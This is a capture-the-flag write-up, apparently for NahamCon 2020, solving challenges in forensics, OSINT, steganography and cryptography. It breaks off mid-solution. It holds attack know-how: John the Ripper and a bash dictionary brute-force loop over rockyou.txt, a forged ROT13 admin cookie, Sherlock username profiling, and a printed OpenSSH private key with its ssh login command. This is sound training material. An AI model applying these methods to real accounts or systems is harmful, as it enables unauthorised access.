**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:
We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:
**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:
There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:
**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:
By the description we know that we need to login as admin, but if we try using admin as our username we get the following:
But we can login with any other username:
If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:
we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:
now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:
**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:
This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:
**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:
this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:
**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:
The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:
and by saving the modified file and viewing it again we get the flag:
**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:
we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:
link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:
**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:
**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:
**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:
there are 2 repositories for the user:
the second one is not very helpful:
but the first one has some interesting files:
the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?
yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:
***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:
**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:
**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:
**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:
these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:
After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):
**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Tuｒｎs out the sｔｅganｏgrａｐhⅰc tｅcｈｎｉｑuｅ ｗe wｅｒｅ
ｕsiｎg dⅰｄｎ'ｔ rｅalｌy mａｋe
mｕcｈ ｓense.．. ｂｕｔ we ｋｅpｔ it aｎyｗａy． Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:
**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:
but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:
during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:
**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:
this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:
bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:
***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :
furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:
but if we look at a regular PNG file or Zip file we get the following bytes frequency:
we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:
**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:
it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:
## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:
we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:
now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:
I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:
and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:
## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring 